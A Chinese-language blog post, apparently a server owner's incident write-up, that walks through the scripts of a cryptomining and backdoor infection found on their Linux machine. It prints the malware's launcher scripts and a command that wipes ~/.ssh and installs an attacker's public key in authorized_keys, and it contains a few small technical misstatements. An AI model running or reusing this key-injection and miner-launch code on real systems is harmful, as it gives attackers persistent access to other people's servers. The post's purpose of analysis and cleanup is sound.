4. 进一步看每个脚本文件的内容
探究完了这个文件之后,我就大概明白了,如果我每次都只是杀掉这个进程其实没有用。每隔一段时间,脚本自动运行,而且更阴险的是居然关机重启之后还运行这个脚本!!!可恶至极!
感觉离真相又进了一步!继续往下探究。
4.1/home/dev/.configrc/a
路径下的upd
文件
#!/bin/sh cd /home/dev/.configrc/a if test -r /home/dev/.configrc/a/bash.pid; then pid=$(cat /home/dev/.configrc/a/bash.pid) if $(kill -CHLD $pid >/dev/null 2>&1) then exit 0 fi fi ./run &>/dev/null
这个脚本信息说的是如果/home/dev/.configrc/a/bash.pid
确实存在,那就获取bash.pid
脚本的进程号
if $(kill -CHLD $pid >/dev/null 2>&1)
这行代码我有点没看懂,要是有大佬看懂的,欢迎评论告知我一下,谢谢。
最后一行./run &>/dev/null
就是运行run文件
那就来看下run脚本里写的啥
#!/bin/bash ./stop #./init0 sleep 10 pwd > dir.dir dir=$(cat dir.dir) ARCH=`uname -m` if [ "$ARCH" == "i686" ]; then nohup ./anacron >>/dev/null & elif [ "$ARCH" == "x86_64" ]; then ./kswapd0 fi echo $! > bash.pid
最后一行echo $! > bash.pid
打印进程号到bash.pid
当中
那么我们还需要去查看一下kswpad0文件的信息
最后用vim打开一看,全乱码了。我猜测可能是二进制文件,所以用vim打开会乱码,需要用专门查看二进制文件的工具去查看才可以。
4.2/home/dev/.configrc/b
路径下的sync
文件
#!/bin/sh cd /home/dev/.configrc/b ./run
同样的,我们还是需要去看下run
文件写的是什么脚本
这个脚本文件太长,为了不影响阅读,我就不粘贴上来了。
可以很清楚的看到最后几行
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
cd ~
进入到根目录下rm -rf .ssh
强制删除根目录下的.ssh目录及其目录下的所有文件mkdir .ssh
创建.ssh
目录echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys
把这行字符串ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr
写到.ssh/authorized_keys
文件里。备注一下:这个字符串很明显就是电脑上生成的公钥,把这个公钥给到远程电脑下.ssh/authorized_keys文件里,就可以通过ssh连接,下次就可以不用输入账号密码连接了。所以我修改了账号密码之后,对方还是可以登录到我的服务器当中。chmod -R go= ~/.ssh
将~/.ssh
目录修改的权限是go
,其中g:代表所有者所在的群组(group),o:代表其他人,但不是u和g(other)。
4.3 /dev/shm/.X1129/.rsync/c/
路径下的aptitude
文件
- 先去到对应的目录下
- 查看aptitude脚本文件
#!/bin/sh cd /dev/shm/.X1129/.rsync/c ./run &>/dev/null
还是和之前的老套路,这个文件只是用来运行run脚本文件的,因此我们最终需要看的还是run文件
可以看到run脚本的具体内容如下
#!/bin/bash PR=1 PR=$(cat /proc/cpuinfo | grep model | grep name | wc -l) ARCH=`uname -m` if [ "$ARCH" == "x86_64" ]; then # -lt是小于等于的意思,它这里的含义是如果CPU是7核以下的 if [ $PR -lt 7 ]; then sleep 15 ./stop sleep 3 RANGE=240 s=$RANDOM let "s %= $RANGE" sleep $s #nohup ./golan >>/dev/null & #sleep 20m && nohup ./go >>/dev/null & fi if [ $PR -gt 7 ]; then #sleep 15 #./stop sleep 3 #nohup ./golan >>/dev/null & fi else #nohup ./golan >>/dev/null & #sleep 20m && nohup ./go >>/dev/null & fi
脚本文件的第三行含义是查看CPU是多少核的。
感兴趣的我还特地去/dev/shm/.X1129
这个文件夹下看了一下,确实和https://blog.csdn.net/jzz601264258/article/details/105850816 这个博主说的一样,对方还上传了一个dota3.tar.gz文件到了我的服务器上。
综上:
/home/dev/.configrc/a
路径下的upd
文件脚本最后用vim打开乱码,不清楚用户到底在用我这台机器干嘛。/home/dev/.configrc/b
路径下的sync
文件脚本运行的是把它电脑的公钥写到我的.ssh/authorized_keys
文件里/dev/shm/.X1129/.rsync/c/
路径下的aptitude
文件设置的CPU随机休眠一段时间,不至于CPU卡的连他自己都登不上。
5. 解决办法
- 今天问了一下群佬,可能添加黑名单对他之前的没有太大用,暂时选择添加白名单的方案处理。先把他的
~/.ssh/authorized_key
里的公钥信息给删除,这样他就无法通过ssh连接了。
这个进程还是占有率很高,这个时候选择来kill掉这个进程
此时再用top
命令来查看,恢复正常了。
此时记录为2022年3月20日23:16。不知道对方下一轮又会采取什么方式来给我的电脑植入其他脚本。如果有下一轮,期待和对方的下一轮较量!